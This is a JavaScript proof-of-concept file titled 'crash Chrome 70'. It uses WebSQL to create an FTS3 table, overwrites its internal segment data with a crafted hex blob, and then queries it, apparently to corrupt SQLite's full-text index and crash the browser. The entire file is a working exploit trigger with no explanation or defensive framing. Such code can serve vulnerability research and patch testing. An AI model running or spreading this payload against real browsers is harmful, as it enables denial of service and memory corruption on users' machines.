crash Chrome 70

crash.js

const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;

const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);

// wow so lisp such braces
const exec = sql =>
  new Promise((resolve, reject) =>
    db.transaction(tx =>
      tx.executeSql(
        sql,
        [],
        (tx, res) => resolve(res),
        (tx, err) => reject(err)
      )
    )
  )


const tasks = poc.split('\n').map(exec);
tasks.reduce((promiseChain, currentTask) => {
    return promiseChain.then(chainResults =>
        currentTask.then(currentResult =>
            [ ...chainResults, currentResult ]
        )
    );
}, Promise.resolve([]))